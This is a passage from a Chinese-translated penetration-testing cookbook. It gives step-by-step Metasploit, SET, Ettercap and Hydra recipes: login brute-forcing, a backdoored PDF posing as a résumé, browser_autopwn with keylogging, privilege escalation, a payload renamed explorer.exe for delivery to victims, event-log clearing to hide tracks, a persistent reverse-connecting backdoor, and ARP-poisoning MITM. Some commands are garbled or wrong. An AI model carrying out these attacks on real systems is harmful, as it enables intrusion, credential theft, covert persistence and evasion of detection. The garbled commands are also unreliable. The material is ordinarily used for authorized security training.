PostgreSQL 攻击: 472 | 473 | 1. 打开终端窗口。 474 | 475 | 2. 启动 MSFCONSOLE。 476 | 477 | ``` 478 | msfconsole 479 | ``` 480 | 481 | 3. 搜索可用的 PostgreSQL 模块。 482 | 483 | ``` 484 | msfconsole postgresql 485 | ``` 486 | 487 | ![](img/6-7-1.jpg) 488 | 489 | 4. 使用 PostgreSQL 扫描器模块。 490 | 491 | ``` 492 | use auxiliary/scanner/mysql/postgres_login 493 | ``` 494 | 495 | ![](img/6-7-2.jpg) 496 | 497 | 5. 显示模块的可用选项。 498 | 499 | ``` 500 | show options 501 | ``` 502 | 503 | 6. 将 RHOST 设置为 Metasploitable 2 主机或目标主机的地址。 504 | 505 | ``` 506 | set RHOST 192.168.10.111 507 | ``` 508 | 509 | 7. 设置用户名文件的位置。你可以选择: 510 | 511 | ``` 512 | set user_file /root/Desktop/usernames.txt 513 | ``` 514 | 515 | 8. 设置密码文件的位置。你可以选择: 516 | 517 | ``` 518 | set pass_file /root/Desktop/passwords.txt 519 | ``` 520 | 521 | 9. 执行漏洞利用: 522 | 523 | ``` 524 | Exploit 525 | ``` 526 | 527 | 0. Metasploit 会尝试输入包含在两个文件中的所有用户名和密码组合。找到生效的登录和密码组合旁边的`+`符号就可以了。 528 | 529 | ### 工作原理 530 | 531 | 这个秘籍中,我们使用 Metasploit 的 MSFCONSOLE 来利用 Metasploitable 2 靶机上的 PostgreSQL 漏洞。我们以启动控制台并搜索所有已知的 PostgreSQL 模块来开始。在选择 PostgreSQL 登录利用模块之后,我们设置了选项并执行了漏洞利用,这让我们能够爆破 PostgreSQL 登录。Metasploit 使用提供的用户名和密码文件。并尝试爆破 PostgreSQL 数据库。之后找到生效的登录和密码组合旁边的`+`符号就可以了。 532 | 533 | ### 更多 534 | 535 | 这个秘籍中,我们使用了默认的 PostgreSQL 用户名和密码文件。然而我们也可以创建自己的文件。有许多方法可以生成用户名和密码单词列表,这些方法在第八章中涉及。 536 | 537 | ## 6.8 Metasploitable Tomcat 538 | 539 | 这个秘籍中,我们会探索如何使用 Metasploit 攻击 Tomcat 服务器,使用 Tomcat Manager Login 模块。Tomcat,或 Apache Tomcat,是开源的 Web 服务器,和 Servlet 容器,用于运行 Java Servt 和 JSP。Tomcat 服务器纯粹使用 Java 编写。我们会使用 Metasploit 来爆破 Tomcat 的登录。 540 | 541 | ### 准备 542 | 543 | 需要满足下列要求: 544 | 545 | + 内部网络的连接。 546 | 547 | + 运行在渗透环境中的 Metasploitable 。 548 | 549 | + 用于执行字典攻击的单词列表。 550 | 551 | ### 操作步骤 552 | 553 | 让我们通过打开终端窗口来开始这个秘籍: 554 | 555 | 1. 打开终端窗口。 556 | 557 | 2. 启动 MSFCONSOLE。 558 | 559 | ``` 560 | msfconsole 561 | ``` 562 | 563 | 3. 搜索可用的 Tomcat 模块。 564 | 565 | ``` 566 | msfconsole tomcat 567 | ``` 568 | 569 | ![](img/6-8-1.jpg) 570 | 571 | 4. 使用 Tomcat Application Manager Login Utility。 572 | 573 | ``` 574 | use auxiliary/scanner/http/tomcat_mgr_login 575 | ``` 576 | 577 | 5. 显示模块的可用选项。 578 | 579 | ``` 580 | show options 581 | ``` 582 | 583 | > 要注意我们有很多设置为“是”的项目,它们都是必须的。我们使用它们的默认值。 584 | 585 | 6. 设置`Pass_File`: 586 | 587 | ``` 588 | PASS_FILE meset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt 589 | ``` 590 | 591 | 7. 设置`Pass_File`: 592 | 593 | ``` 594 | USER_FILE mset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt 595 | ``` 596 | 597 | 8. 设置目标的`RHOST`,这里我们选择我们的 Metasploitable 2 主机: 598 | 599 | ``` 600 | set RHOSTS 192.168.10.111 601 | ``` 602 | 603 | 9. 将`RPORT`设置为 8180: 604 | 605 | ``` 606 | set RPORT 8180 607 | ``` 608 | 609 | 0. 执行漏洞利用: 610 | 611 | ``` 612 | Exploit 613 | ``` 614 | 615 | ### 工作原理 616 | 617 | 这个秘籍中,我们使用 Metasploit 的 MSFCONSOLE 来利用 Metasploitable 2 靶机上的 Tomcat 漏洞。我们以启动控制台并搜索所有已知的 Tomcat 模块来开始。在选择 Tomcat 登录利用模块之后,我们设置了选项并执行了漏洞利用,这让我们能够爆破 Tomcat 登录。Metasploit 使用提供的用户名和密码文件。并尝试爆破 Tomcat 数据库。之后找到生效的登录和密码组合旁边的`+`符号就可以了。 618 | 619 | ## 6.9 Metasploitable PDF 620 | 621 | 这个秘籍中,我们会探索如何使用 Metasploit 来执行攻击,使用 Adobe PDF 内嵌模块来利用 PDF 文档漏洞。Adobe PDF 是文档传输的标准。由于它的广泛使用,尤其是由于它的商业用途,我们会通过让用户认为他们打开了来自求职岗位的正常 PDF 文档来攻击用户的机器。 622 | 623 | ### 准备 624 | 625 | 需要满足下列要求: 626 | 627 | + 内部网络的连接。 628 | 629 | + 运行在渗透环境中的 Metasploitable 。 630 | 631 | + 用于执行字典攻击的单词列表。 632 | 633 | ### 操作步骤 634 | 635 | 让我们通过打开终端窗口来开始这个秘籍: 636 | 637 | 1. 打开终端窗口。 638 | 639 | 2. 启动 MSFCONSOLE。 640 | 641 | ``` 642 | msfconsole 643 | ``` 644 | 645 | 3. 搜索可用的 PDF 模块。 646 | 647 | ``` 648 | msfconsole pdf 649 | ``` 650 | 651 | ![](img/6-9-1.jpg) 652 | 653 | 4. 使用 PDF 内嵌模块: 654 | 655 | ``` 656 | use exploit/windows/fileformat/adobe_pdf_embedded_exe 657 | ``` 658 | 659 | 5. 显示模块的可用选项。 660 | 661 | ``` 662 | show options 663 | ``` 664 | 665 | ![](img/6-9-2.jpg) 666 | 667 | 6. 设置我们想要生成的 PDF 文件名称: 668 | 669 | ``` 670 | set FILENAME evildocument.pdf 671 | ``` 672 | 673 | 7. 设置 INFILENAME 选项。它是你打算使用的 PDF 文件的位置。这里,我使用桌面上的简历。 674 | 675 | ``` 676 | set INFILENAME /root/Desktop/willie.pdf 677 | ``` 678 | 679 | > 要注意,这个模块的所有选项都是可选的,除了`INFILENAME `。 680 | 681 | 8. 执行漏洞利用: 682 | 683 | ``` 684 | Exploit 685 | ``` 686 | 687 | ![](img/6-9-3.jpg) 688 | 689 | ### 工作原理 690 | 691 | 这个秘籍中,我们使用 Metasploit 的 MSFCONSOLE 创建了包含 Meterpreter 后门的 PDF 文件。我们以启动控制台并搜索所有可用的 PDF 漏洞来开始。在选择 PDF 内嵌模块之后,我们设置选项并执行漏洞利用,这让我们在正常的 PDF 中埋下后门程序。Metasploit 会生成带有 Windows 反向 TCP 载荷的 PDF。当你的目标打开 PDF 文件时,Meterpreter 会开启答复并激活会话。 692 | 693 | ## 6.10 实现 browser_autopwn 694 | 695 | 浏览器 Autopwn 是 Metasploit 提供的辅助模块,在受害者访问网页时,让你能够自动化对它们的攻击。浏览器 Autopwn 在攻击之前指定客户端的指纹识别,也就是说他不会对 IE 7 尝试利用 Firefox 的漏洞。基于它的浏览器判断,它决定最适于实施哪个漏洞利用。 696 | 697 | ### 准备 698 | 699 | 需要互联网或内部网络的连接。 700 | 701 | ### 操作步骤 702 | 703 | 让我们通过打开终端窗口来开始这个秘籍: 704 | 705 | 1. 打开终端窗口。 706 | 707 | 2. 启动 MSFCONSOLE: 708 | 709 | ``` 710 | msfconsole 711 | ``` 712 | 713 | 3. 搜索可用的 `autopwn` 模块。 714 | 715 | ``` 716 | msfconsole autopwn 717 | ``` 718 | 719 | ![](img/6-10-1.jpg) 720 | 721 | 4. 使用` browser_autopwn `模块: 722 | 723 | ``` 724 | Use auxiliary/server/browser_autopwn 725 | ``` 726 | 727 | 5. 设置我们的载荷,这里我们使用 Windows 反向 TCP: 728 | 729 | ``` 730 | set payload windows/meterpreter/reverse_tcp 731 | ``` 732 | 733 | 6. 显示可用于该载荷类型的选项。 734 | 735 | ``` 736 | show options 737 | ``` 738 | 739 | 7. 设置反向连接所使用的 IP。这里,该 PC 的 IP 地址为` 192.168.10.109`。 740 | 741 | ``` 742 | set LHOST 192.168.10.109 743 | ``` 744 | 745 | 8. 下面,我们打算设置 URIPATH,这里我们使用`"filetypes"`(带引号): 746 | 747 | ``` 748 | set URIPATH "filetypes" 749 | ``` 750 | 751 | 9. 最后,我们执行漏洞利用: 752 | 753 | ``` 754 | exploit 755 | ``` 756 | 757 | 0. Metasploit 会在 IP 地址 处执行漏洞利用。 758 | 759 | 1. 当访问者访问这个地址时,`browser_autopwn`模块尝试连接用户的机器来建立远程会话。如果成功的话,Meterpreter 会确认这个会话。使用会话命令来激活它: 760 | 761 | ``` 762 | session –I 1 763 | ``` 764 | 765 | 2. 为了显示我们可以使用的 Meterpreter 命令列表,输入`help`。 766 | 767 | ``` 768 | help 769 | ``` 770 | 771 | 3. 会显示可用命令的列表。这里,我们启动击键顺序扫描: 772 | 773 | ``` 774 | keyscan_start 775 | ``` 776 | 777 | 4. 为了得到受害者机器上的击键顺序,我们键入`keyscan_start`命令: 778 | 779 | ``` 780 | keyscan_dump 781 | ``` 782 | 783 | ### 工作原理 784 | 785 | 这个秘籍中,我们使用 Metasploit 的 MSFCONSOLE 来执行 browser_autopwn 漏洞利用。我们以启动控制台并搜索所有已知的`autopwn`模块开始。在喧嚣`autopwn`模块之后,我们将载荷设置为`windows_reverse_tcp`。这允许我们在利用成功时得到返回的链接。一旦受害者访问了我们的网页,漏洞利用就成功了,我们就能得到 Meterpreter 活动会话。 786 | -------------------------------------------------------------------------------- /ch7.md: -------------------------------------------------------------------------------- 1 | # 第七章 权限提升 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 我们已经获得了想要攻击的计算机的权限。于是将权限尽可能提升就非常重要。通常,我们能访问较低权限的用户账户(计算机用户),但是,我们的目标账户可能是管理员账户。这一章中我们会探索几种提升权限的方式。 12 | 13 | ## 7.1 使用模拟令牌 14 | 15 | 这个秘籍中,我们会通过使用模拟令牌,模拟网络上的另一个用户。令牌包含用于登录会话和识别用户、用户组合用户权限的安全信息。当用户登入 Windows 系统是,它们会得到一个访问令牌,作为授权会话的一部分。令牌模拟允许我们通过模拟指定用户来提升自己的权限。例如,系统账户可能需要以管理员身份运行来处理特定的任务。并且他通常会在结束后让渡提升的权限。我们会使用这个弱点来提升我们的访问权限。 16 | 17 | ### 准备 18 | 19 | 为了执行这个秘籍,我们需要: 20 | 21 | + 内部网络或互联网的连接。 22 | 23 | + 受害者的目标主机 24 | 25 | ### 操作步骤 26 | 27 | 我们从 Meterpreter 开始探索模拟令牌。你需要使用 Metasploit 来攻击主机,以便获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得访问权限。 28 | 29 | ![](img/7-1-1.jpg) 30 | 31 | 下面是具体步骤: 32 | 33 | 1. 我们可以在 Meterpreter 使用`incognito`来开始模拟过程: 34 | 35 | ``` 36 | use incognito 37 | ``` 38 | 39 | 2. 展示`incognito`的帮助文档,通过输入`help`命令: 40 | 41 | ``` 42 | help 43 | ``` 44 | 45 | 3. 你会注意到我们有几个可用的选项: 46 | 47 | ![](img/7-1-2.jpg) 48 | 49 | 4. 下面我们打算获得可用用户的列表,这些用户当前登入了系统,或者最近访问过系统。我们可以通过以`-u`执行`list_tokens`命令来完成它。 50 | 51 | ``` 52 | list_tokens –u 53 | ``` 54 | 55 | ![](img/7-1-3.jpg) 56 | 57 | 5. 下面,我们执行模拟攻击。语法是`impersonate_token [name of the account to impersonate]`。 58 | 59 | ``` 60 | impersonate_token \\willie-pc\willie 61 | ``` 62 | 63 | 6. 最后,我们选择一个 shell 命令来运行。如果我们成功了,我们就以另一个用户的身份在使用当前系统。 64 | 65 | ### 工作原理 66 | 67 | 这个秘籍中,我们以具有漏洞的主机开始,之后使用 Meterpreter 在这台主机上模拟另一个用户的令牌。模拟攻击的目的是尽可能选择最高等级的用户,最好是同样跨域连接的某个人,并且使用它们的账户来深入挖掘该网络。 68 | 69 | ## 7.2 本地提权攻击 70 | 71 | 这个秘籍中,我们会在一台具有漏洞的主机上进行提权。本地提权允许我们访问系统或域的用户账户,从而利用我们所连接的当前系统。 72 | 73 | ### 准备 74 | 75 | 为了执行这个秘籍,我们需要: 76 | 77 | + 内部网络或互联网的连接。 78 | 79 | + 使用 Metasploit 框架的具有漏洞的主机。 80 | 81 | ### 操作步骤 82 | 83 | 让我们在 Meterpreter shell 中开始执行本地提权攻击。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得主机的访问。 84 | 85 | 1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。 86 | 87 | ![](img/7-2-1.jpg) 88 | 89 | 2. 下面,使用`-h`选项查看`getsystem `的帮助文件: 90 | 91 | ``` 92 | getsystem –h 93 | ``` 94 | 95 | 3. 最后我们不带任何选项来运行`getsystem`: 96 | 97 | ``` 98 | getsystem 99 | ``` 100 | 101 | > 如果你尝试获得 Windows 7 主机的访问,你必须在执行`getsystem`命令之前执行`bypassuac `。`bypassuac `允许你绕过[微软的用户账户控制](http://windows.microsoft.com/en-us/windows7/products/ features/user-account-control)。这个命令这样运行:`run post/windows/escalate/bypassuac`。 102 | 103 | 4. 下面,我们执行最后的命令来获取访问。 104 | 105 | 5. 这就结束了。我们已经成功进行了提权攻击。 106 | 107 | ### 工作原理 108 | 109 | 这个秘籍中,我们使用了 Meterpreter 对受害者的主机进行本地提权攻击。我们从 Meterpreter 中开始这个秘籍。之后我们执行了`getsystem `命令,它允许 Meterpreter 尝试在系统中提升我们的证书。如果成功了,我们就有了受害者主机上的系统级访问权限。 110 | 111 | ## 7.3 掌握社会工程工具包(SET) 112 | 113 | 这个秘籍中,我们会探索社会工程工具包(SET)。SET 是个包含一些工具的框架,让你能够通过骗术来攻击受害者。SET 由 David Kennedy 设计。这个工具很快就成为了渗透测试者工具库中的标准。 114 | 115 | ### 操作步骤 116 | 117 | 掌握 SET 的步骤如下所示。 118 | 119 | 1. 打开终端窗口,通过按下终端图标,并访问 SET 所在的目录: 120 | 121 | ``` 122 | se-toolkit 123 | ``` 124 | 125 | 2. 完成之后,你会看到 SET 菜单。SET 菜单有如下选项: 126 | 127 | 128 | + Social-Engineering Attacks (社会工程攻击) 129 | + Fast-Track Penetration Testing (快速跟踪渗透测试) 130 | + Third Party Modules (第三方模块) 131 | + Update the Metasploit Framework (更新 Metasploit 框架) 132 | + Update the Social-Engineer Toolkit (更新社会工程工具包) 133 | + Update SET configuration (更新 SET 配置) 134 | + Help, Credits, and About (帮助,作者和关于) 135 | + Exit the Social-Engineer Toolkit(退出社会工程工具包) 136 | 137 | > 在进行攻击之前,最好先将升级 SET ,因为作者经常会升级它。 138 | 139 | 这些选项如下图所示: 140 | 141 | ![](img/7-3-1.jpg) 142 | 143 | 3. 出于我们的目的,我们选择第一个选项来开始社会工程攻击: 144 | 145 | ``` 146 | 1 147 | ``` 148 | 149 | 4. 我们现在会看到社会工程攻击的列表,它们展示在下面的截图中。出于我们的目的,我们使用` Create a Payload and Listener`(创建载荷和监听器,选项 4)。 150 | 151 | ``` 152 | 4 153 | ``` 154 | 155 | ![](img/7-3-2.jpg) 156 | 157 | 5. 下面,我们被询问输入载荷的 IP 来反转链接。这里,我们输入我们的 IP 地址: 158 | 159 | ``` 160 | 192.168.10.109 161 | ``` 162 | 163 | ![](img/7-3-3.jpg) 164 | 165 | 6. 你会看到载荷的列表和描述,它们为`Payload and Listener`选项生成。选择`Windows Reverse_TCP Meterpreter`。这会让我们连接到目标上,并对其执行 Meterpreter 载荷。 166 | 167 | ``` 168 | 2 169 | ``` 170 | 171 | ![](img/7-3-4.jpg) 172 | 173 | 7. 最后,我们被询问作为监听器端口的端口号。已经为你选择了 443,所以我们就选择它了。 174 | 175 | ``` 176 | 443 177 | ``` 178 | 179 | 8. 一旦载荷准备完毕,你会被询问来启动监听器,输入`Yes`: 180 | 181 | ![](img/7-3-5.jpg) 182 | 183 | 9. 你会注意到 Metasploit 打开了一个处理器。 184 | 185 | ![](img/7-3-6.jpg) 186 | 187 | ### 工作原理 188 | 189 | 这个秘籍中,我们探索了 SET 的用法。SET 拥有菜单风格的接口,使它易于生成用于欺骗受害者的工具。我们以初始化 SET 开始,之后,SET 为我们提供了几种攻击方式。一旦我们选择了它,SET 会跟 Metasploit 交互,同时询问用户一系列问题。在这个秘籍的最后,我们创建了可执行文件,它会提供给我们目标主机的 Meterpreter 活动会话。 190 | 191 | ### 更多 192 | 193 | 作为替代,你可以从桌面上启动 SET,访问`Applications | Kali Linux | Exploitation Tools | Social Engineering Tools | Social Engineering Toolkit | Set`。 194 | 195 | **将你的载荷传给受害者** 196 | 197 | 下面的步骤会将你的载荷传给受害者。 198 | 199 | 1. 在 SET 目录下,你胡注意到有个 EXE 文件叫做`msf.exe`。推荐你将文件名称修改为不会引起怀疑的名称。这里,我们将它改为`explorer.exe`。最开始,我们打开终端窗口并访问 SET 所在的目录。 200 | 201 | ``` 202 | cd /usr/share/set 203 | ``` 204 | 205 | 2. 之后我们获得目录中所有项目的列表。 206 | 207 | ``` 208 | ls 209 | ``` 210 | 211 | 3. 之后我们将这个文件重命名为`explorer.exe`: 212 | 213 | ``` 214 | mv msf.exe explorer.exe 215 | ``` 216 | 217 | ![](img/7-3-7.jpg) 218 | 219 | 4. 现在我们压缩` explorer.exe`载荷。这里,ZIP 归档叫做`healthyfiles`。 220 | 221 | ``` 222 | zip healthyfiles explorer.exe 223 | ``` 224 | 225 | 5. 既然你已经拥有了 ZIP 归档,你可以把文件以多种方式分发给受害者。你可以通过电子邮件来传递,也可以放进 U 盘并手动在受害者机器中打开,以及其它。探索这些机制会给你想要的结果来达成你的目标。 226 | 227 | ## 7.4 收集受害者数据 228 | 229 | 这个秘籍中,我们会探索如何使用 Metasploit 来收集受害者的数据。有几种方式来完成这个任务,但是我们会探索在目标机器上记录用户击键顺序的方式。收集受害者数据可以让我们获得潜在的额外信息,我们可以将其用于进一步的攻击中。对于我们的例子,我们会收集目标主机上用户输入的击键顺序。 230 | 231 | ### 准备 232 | 233 | 为了执行这个秘籍,我们需要: 234 | 235 | + 内部网络或互联网的连接。 236 | 237 | + 使用 Metasploit 框架的具有漏洞的主机。 238 | 239 | ### 操作步骤 240 | 241 | 让我们开始通过 Meterpreter shell 来收集受害者数据。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。 242 | 243 | 1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。 244 | 245 | ![](img/7-4-1.jpg) 246 | 247 | 2. 下面,我们执行下面的命令来开启键盘记录器: 248 | 249 | ``` 250 | keyscan_start 251 | ``` 252 | 253 | ![](img/7-4-2.jpg) 254 | 255 | 3. 最后,我们输入` keyscan_dump`命令,将用户的击键顺序输出到屏幕上。 256 | 257 | ``` 258 | keyscan_dump 259 | ``` 260 | 261 | ### 工作原理 262 | 263 | 这个秘籍中,我们使用 Meterpreter 收集了受害者的数据。 264 | 265 | ### 更多 266 | 267 | 有一种不同的方式,你可以使用它们来收集受害者机器上的数据。这个秘籍中,我们使用了 Metasploit 和 Metasploit keyscan 来记录击键顺序,但是我们也可以使用 Wireshark 或 airodump-ng 来更简单地收集数据。 268 | 269 | 这里的关键是探索其它工具,便于你找到最喜欢的工具来完成你的目标。 270 | 271 | ## 7.5 清理踪迹 272 | 273 | 这个秘籍中,我们会使用 Metasploit 来清除我们的踪迹。在黑进主机之后执行清理是个非常重要的步骤,因为你不想在经历所有麻烦来获得访问权限之后还被人查水表。幸运的是,Metasploit 拥有一种方式来非常简单地清除我们的踪迹。 274 | 275 | ### 准备 276 | 277 | 为了执行这个秘籍,我们需要: 278 | 279 | + 内部网络或互联网的连接。 280 | 281 | + 使用 Metasploit 框架的具有漏洞的主机。 282 | 283 | ### 操作步骤 284 | 285 | 需要执行步骤如下所示: 286 | 287 | 1. 让我们开始使用 Meterpreter shell 来清理我们的踪迹。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。 288 | 289 | ![](img/7-5-1.jpg) 290 | 291 | 2. 下面,我们需要运行 IRB,以便进行日志移除操作。我们打开帮助文件: 292 | 293 | ``` 294 | irb 295 | ``` 296 | 297 | ![](img/7-5-2.jpg) 298 | 299 | 3. 下面,我们告诉 IRB 要移除哪个文件。下面是一个可用的选择: 300 | 301 | ``` 302 | log = client.sys.eventlog.open('system') 303 | log = client.sys.eventlog.open('security') 304 | log = client.sys.eventlog.open('application') 305 | log = client.sys.eventlog.open('directory service') 306 | log = client.sys.eventlog.open('dns server') 307 | log = client.sys.eventlog.open('file replication service') 308 | ``` 309 | 310 | 4. 出于我们的目的,我们把它们都清理掉。你需要将这些一次键入: 311 | 312 | ``` 313 | log = client.sys.eventlog.open('system') 314 | log = client.sys.eventlog.open('security') 315 | log = client.sys.eventlog.open('application') 316 | log = client.sys.eventlog.open('directory service') 317 | log = client.sys.eventlog.open('dns server') 318 | log = client.sys.eventlog.open('file replication service') 319 | ``` 320 | 321 | 5. 现在我们执行命令来清理日志文件: 322 | 323 | ``` 324 | Log.clear 325 | ``` 326 | 327 | 6. 这就结束了。我们只用了这么少的命令就能清理我们的踪迹。 328 | 329 | ### 工作原理 330 | 331 | 这个秘籍中,我们使用 Meterpreter 来清理我们在目标主机上的踪迹。我们从 Meterpreter 中开始这个秘籍,并启动了 IRB(一个 Ruby 解释器 shell)。下面,我们指定了想要清理的文件,并且最后键入了`Log.clear `命令来清理日志。要记住,一旦我们黑进了某个主机,你需要在最后执行这一步。你不能在清理踪迹之后再执行更多的操作,这样只会更加更多的日志条目。 332 | 333 | ## 7.6 创建永久后门 334 | 335 | 这个秘籍中,我们会使用 Metasploit persistence 来创建永久后门。一旦你成功获得了目标机器的访问权限,你需要探索重新获得机器访问权的方式,而不需要再次黑进它。如果目标机器的用户做了一些事情来终端连接,比如重启机器,后门的作用就是允许重新建立到你机器的连接。这就是创建后门非常方便的原因,它可以让你控制目标机器的访问。 336 | 337 | ### 准备 338 | 339 | 为了执行这个秘籍,我们需要: 340 | 341 | + 内部网络或互联网的连接。 342 | 343 | + 使用 Metasploit 框架的具有漏洞的主机。 344 | 345 | ### 操作步骤 346 | 347 | 让我们开始植入我们的永久后门。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。 348 | 349 | 1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。 350 | 351 | ![](img/7-6-1.jpg) 352 | 353 | 2. 下面,我们需要运行 persistence,以便创建我们的后门。我们打开帮助文件: 354 | 355 | ``` 356 | run persistence –h 357 | ``` 358 | 359 | 3. 永久后门有几个选项,包括: 360 | 361 | + `-A`:这个选项会自动启动一个匹配的多重处理器来链接到代理端。 362 | 363 | + `-S`:这个选项让后门自动化启动为系统服务。 364 | 365 | + `-U`:这个选项让后门在用户启动系统时自动启动。 366 | 367 | + `-i`:这个选项设置两次尝试回复攻击者机器之间的秒数。 368 | 369 | + `-p`:这个选项设置攻击者机器上 Metasploit 的监听端口。 370 | 371 | + `-P`:这个选项设置所用的载荷。默认使用` Reverse_tcp `,并且它通常是你想使用的东西。 372 | 373 | + `-r`:这个选项设置攻击者机器的 IP 地址。 374 | 375 | 4. 现在,我们执行命令来建立后门: 376 | 377 | ``` 378 | run persistence –U –A –i 10 – 8090 –r 192.168.10.109 379 | ``` 380 | 381 | 5. 后门现在已经建立了。如果成功的话,你会注意到你有了第二个 Meterpreter 会话。 382 | 383 | ![](img/7-6-2.jpg) 384 | 385 | ### 工作原理 386 | 387 | 这个秘籍中,我们使用 Meterpreter 来建立永久后门。我们在黑进目标主机并获得 Meterpreter shell 之后开始了这个秘籍。之后我们通过浏览帮助文档那个,探索了一些可用的永久化方式。最后,我们通过运行安装命令并设置它的选项来完成后门的安装。 388 | 389 | ## 7.7 中间人(MITM)攻击 390 | 391 | 这个秘籍中,我们会对目标进行中间人(MITM)攻击。MITM攻击允许我们窃听目标和别人的通信。在我们的例子中,当某个 Windows 主机在收发邮件时,我们使用 Ettercap 来窃听它的通信。 392 | 393 | ### 准备 394 | 395 | 为了执行这个秘籍,我们需要: 396 | 397 | + 无线网络连接 398 | 399 | + 连接到无线网络的机器 400 | 401 | ### 操作步骤 402 | 403 | 让我们启动 Ettercap 来开始中间人攻击。 404 | 405 | 1. 打开终端窗口并启动 Ettercap。使用`-G`选项加载 GUI: 406 | 407 | ``` 408 | ettercap –G 409 | ``` 410 | 411 | ![](img/7-7-1.jpg) 412 | 413 | 2. 我们以打开` Unified sniffing`(统一嗅探)开始。你可以按下`Shift + U`或者访问菜单中的` Sniff | Unified sniffing`。 414 | 415 | ![](img/7-7-2.jpg) 416 | 417 | 3. 选择网络接口。在发起 MITM 攻击的情况中,我们应该选项我们的无线接口。 418 | 419 | ![](img/7-7-3.jpg) 420 | 421 | 4. 下面,我们打开`Scan for hosts`(扫描主机)。可以通过按下`Ctrl + S`或访问菜单栏的` Hosts | Scan for hosts`来完成。 422 | 423 | ![](img/7-7-4.jpg) 424 | 425 | 5. 下面,我们得到了`Host List`(主机列表)。你可以按下`H`或者访问菜单栏的`Hosts | Host List`。 426 | 427 | ![](img/7-7-5.jpg) 428 | 429 | 6. 我们下面需要选择或设置我们的目标。在我们的例子中,我们选择`192.168.10.111`作为我们的`Target 1`,通过选中它的 IP 地址并按下` Add To Target 1 `(添加到目标 1)按钮。 430 | 431 | ![](img/7-7-6.jpg) 432 | 433 | 7. 现在我们能够让 Ettercap 开始嗅探了。你可以按下`Ctrl + W`或访问菜单栏的` Start | Start sniffing`。 434 | 435 | ![](img/7-7-7.jpg) 436 | 437 | 8. 最后,我们开始进行 ARP 毒化。访问菜单栏的`Mitm | Arp poisoning`。 438 | 439 | ![](img/7-7-8.jpg) 440 | 441 | 9. 在出现的窗口中,选中` Sniff remote connections`(嗅探远程连接)的选项。 442 | 443 | ![](img/7-7-9.jpg) 444 | 445 | 0. 取决于网络环境,我们会看到信息。 446 | 447 | ![](img/7-7-10.jpg) 448 | 449 | 1. 一旦我们找到了想要找的信息(用户名和密码)。我们可以关闭 Ettercap。你可以按下`Ctrl + E`或访问菜单栏的`Start | Stop sniffing`来完成它。 450 | 451 | ![](img/7-7-11.jpg) 452 | 453 | 2. 现在我们关闭 ARP 毒化,使网络恢复正常。 454 | 455 | ![](img/7-7-12.jpg) 456 | 457 | ### 工作原理 458 | 459 | 这个秘籍包括 MITM 攻击,它通过 ARP 包毒化来窃听由用户传输的无线通信。 460 | 461 | > 你可以通过浏览来了解更多关于 MITM 的信息。 462 | -------------------------------------------------------------------------------- /ch8.md: -------------------------------------------------------------------------------- 1 | # 第八章 密码攻击 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | 这一章中,我们要探索一些攻击密码来获得用户账户的方式。密码破解是所有渗透测试者都需要执行的任务。本质上,任何系统的最不安全的部分就是由用户提交的密码。无论密码策略如何,人们必然讨厌输入强密码,或者时常更新它们。这会使它们易于成为黑客的目标。 10 | 11 | ## 8.1 在线密码攻击 12 | 13 | 这个秘籍中我们会使用 Hydra 密码破解器。有时候我们有机会来物理攻击基于 Windows 的计算机,直接获取安全账户管理器(SAM)。但是,我们也有时不能这样做,所以这是在线密码攻击具有优势的情况。 14 | 15 | Hydra 支持许多协议,包括(但不仅限于)FTP、HTTP、HTTPS、MySQL、MSSQL、Oracle、Cisco、IMAP、VNC 和更多的协议。需要注意的是,由于这种攻击可能会产生噪声,这会增加你被侦测到的可能。 16 | 17 | ### 准备 18 | 19 | 需要内部网络或互联网的链接,也需要一台用作受害者的计算机。 20 | 21 | ### 操作步骤 22 | 23 | 让我们开始破解在线密码。 24 | 25 | 1. 在开始菜单中,选择` Applications | Kali Linux | Password Attacks | Online Attacks | hydra-gtk`。 26 | 27 | ![](img/8-1-1.jpg) 28 | 29 | 2. 既然我们已经把 Hydra 打开了,我们需要设置我们的单词列表。点击`Passwords`(密码)标签页。我们需要使用用户名列表和密码列表。输入你的用户名和密码列表的位置。同时选择` Loop around users `(循环使用用户名)和` Try empty password`(尝试空密码)。 30 | 31 | + 用户名列表:`/usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/names/nameslist.txt` 32 | + 密码列表:`/usr/share/wfuzz/wordlist/fuzzdb/wordlistsuser-passwd/passwds/john.txt` 33 | 34 | > 你可以使用的快捷方式是,点击单词列表框来打开文件系统窗口。 35 | 36 | ![](img/8-1-2.jpg) 37 | 38 | 3. 下面,我们要做一些调整。在`Performance Options`(执行选项)下面,我们将任务数量从 16 设置为 2。原因是我们不打算让这么多进程运行,这样会使服务器崩溃。虽然它是可选的,我们也希望选择`Exit after first found pair `(在首次发现匹配之后退出)选项。 39 | 40 | ![](img/8-1-3.jpg) 41 | 42 | 4. 最后,我们要设置我们的目标。点击`Target`(目标)标签页并设置我们的目标和协议。这里,我们使用 Metasploitable 主机(`192.168.10.111`)的 MySQL 端口。 43 | 44 | ![](img/8-1-4.jpg) 45 | 46 | 